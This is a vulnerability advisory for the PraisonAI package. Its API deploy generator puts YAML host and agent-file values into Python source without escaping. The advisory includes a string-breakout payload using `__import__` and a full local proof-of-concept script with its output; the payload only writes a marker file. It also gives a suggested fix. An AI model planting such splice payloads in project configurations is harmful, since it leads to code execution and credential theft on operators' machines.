---
id: CVE-2026-61433
aliases:
  - GHSA-79fv-7hq9-w7xg
title: >-
  PraisonAI: API deploy code generator embeds unescaped YAML fields into Python
  source
summary: >-
  PraisonAI: API deploy code generator embeds unescaped YAML fields into Python
  source
severity: high
cvss: 7.8
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'
vendor: praisonai
product: praisonai
ecosystem: pip
affected:
  - praisonai < 4.6.78
patched:
  - praisonai 4.6.78
published: '2026-10-08'
updated: '2026-10-08'
sourceUpdated: '2026-10-08T19:45:05.011561453Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-79fv-7hq9-w7xg'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-61433'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-62173'
  - url: >-
      https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0
  - url: 'https://github.com/MervinPraison/PraisonAI'
  - url: >-
      https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator
  - url: 'https://github.com/advisories/GHSA-79fv-7hq9-w7xg'
tags:
  - osv
  - pip
  - ghsa
epss: 0.0021
epssPercentile: 0.10331
cwe:
  - CWE-94
  - CWE-95
  - CWE-116
ingestedAt: '2026-10-08T20:06:22.194Z'
---

## Overview

# API deploy code generator embeds unescaped YAML fields into Python source

## Summary

PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.

## Technical Details

The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.

The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:

```python
def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
    ...
    code = f'''"""
...
        praisonai = PraisonAI(agent_file="{agents_file}")
...
        "agent_file": "{agents_file}"
...
    app.run(
        host='{config.host}',
        port={config.port},
        debug={config.reload}
    )
'''
```

The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:

```text
' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '
```

The generated startup code then becomes equivalent to:

```python
app.run(
    host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
    port=8005,
    debug=False,
)
```

That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.

`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.

## PoV

The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.

```python
from pathlib import Path
import json
import sys
import tempfile
import types

import yaml


def install_stubs():
    class FakeApp:
        def __init__(self, name):
            self.name = name

        def route(self, *args, **kwargs):
            def deco(func):
                return func

            return deco

        def run(self, *args, **kwargs):
            return None

    flask = types.ModuleType("flask")
    flask.Flask = FakeApp
    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
    flask.jsonify = lambda obj: obj
    sys.modules["flask"] = flask

    flask_cors = types.ModuleType("flask_cors")
    flask_cors.CORS = lambda app: app
    sys.modules["flask_cors"] = flask_cors

    praisonai_mod = types.ModuleType("praisonai")

    class FakePraisonAI:
        def __init__(self, agent_file):
            self.agent_file = agent_file

        def run(self):
            return "ok"

    praisonai_mod.PraisonAI = FakePraisonAI
    sys.modules["praisonai"] = praisonai_mod


def main(repo):
    sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
    from praisonai.deploy.api import generate_api_server_code
    from praisonai.deploy.models import APIConfig
    from praisonai.deploy.schema import validate_agents_yaml

    install_stubs()

    with tempfile.TemporaryDirectory() as tmp:
        tmp_path = Path(tmp)
        host_marker = tmp_path / "host-marker.txt"
        file_marker = tmp_path / "agent-file-marker.txt"
        host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
        agents_yaml = tmp_path / "agents.yaml"
        agents_yaml.write_text(yaml.safe_dump({
            "deploy": {
                "type": "api",
                "api": {"host": host_payload, "port": 8005, "auth_enabled": False},
            },
            "agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
        }))
        parsed_config = validate_agents_yaml(str(agents_yaml))

        results = []
        for label, config in [
            ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
            ("malicious_host_from_yaml", parsed_config.api),
        ]:
            host_marker.unlink(missing_ok=True)
            code = generate_api_server_code("agents.yaml", config)
            compile(code, f"<generated-{label}>", "exec")
            exec(code, {"__name__": "__main__"})
            results.append({
                "case": label,
                "compiled": True,
                "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
                "marker_exists_after_startup": host_marker.exists(),
                "marker_contents": host_marker.read_text() if host_marker.exists() else None,
                "generated_contains_raw_host": config.host in code,
            })

        file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
        file_marker.unlink(missing_ok=True)
        code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
        compile(code, "<generated-agent-file>", "exec")
        namespace = {"__name__": "generated_agent_file"}
        exec(code, namespace)
        namespace["list_agents"]()
        results.append({
            "case": "malicious_agent_file_route_value",
            "compiled": True,
            "marker_exists_after_list_agents": file_marker.exists(),
            "marker_contents": file_marker.read_text() if file_marker.exists() else None,
            "generated_contains_raw_agent_file": file_payload in code,
        })

    print(json.dumps(results, indent=2))
    return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1


if __name__ == "__main__":
    raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))
```

## PoC

Command used against current source:

```sh
uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI
```

Decisive output:

```json
[
  {
    "case": "safe_host",
    "compiled": true,
    "host_preserved_by_yaml_parser": null,
    "marker_exists_after_startup": false,
    "marker_contents": null,
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_host_from_yaml",
    "compiled": true,
    "host_preserved_by_yaml_parser": true,
    "marker_exists_after_startup": true,
    "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_agent_file_route_value",
    "compiled": true,
    "marker_exists_after_list_agents": true,
    "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
    "generated_contains_raw_agent_file": true
  }
]
```

The `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.

## Impact

If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.

## Suggested Fix

Do not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

## Affected Package/Versions

Package: `praisonai`

Confirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`

Static sweep:

| Target | Result |
| --- | --- |
| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |
| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |
| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |

Suggested severity: High

Suggested CVSS v3.1:

```text
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
```

Suggested CWEs:

- CWE-94: Improper Control of Generation of Code
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
- CWE-116: Improper Encoding or Escaping of Output

## Advisory History

The closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.

This is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.

AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

## References

- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`
- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths
- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler
- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue
- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue
- CWE-94: https://cwe.mitre.org/data/definitions/94.html
- CWE-95: https://cwe.mitre.org/data/definitions/95.html
- CWE-116: https://cwe.mitre.org/data/definitions/116.html

## Affected packages

- `praisonai < 4.6.78`

## Remediation

Upgrade to a patched release:

- `praisonai 4.6.78`
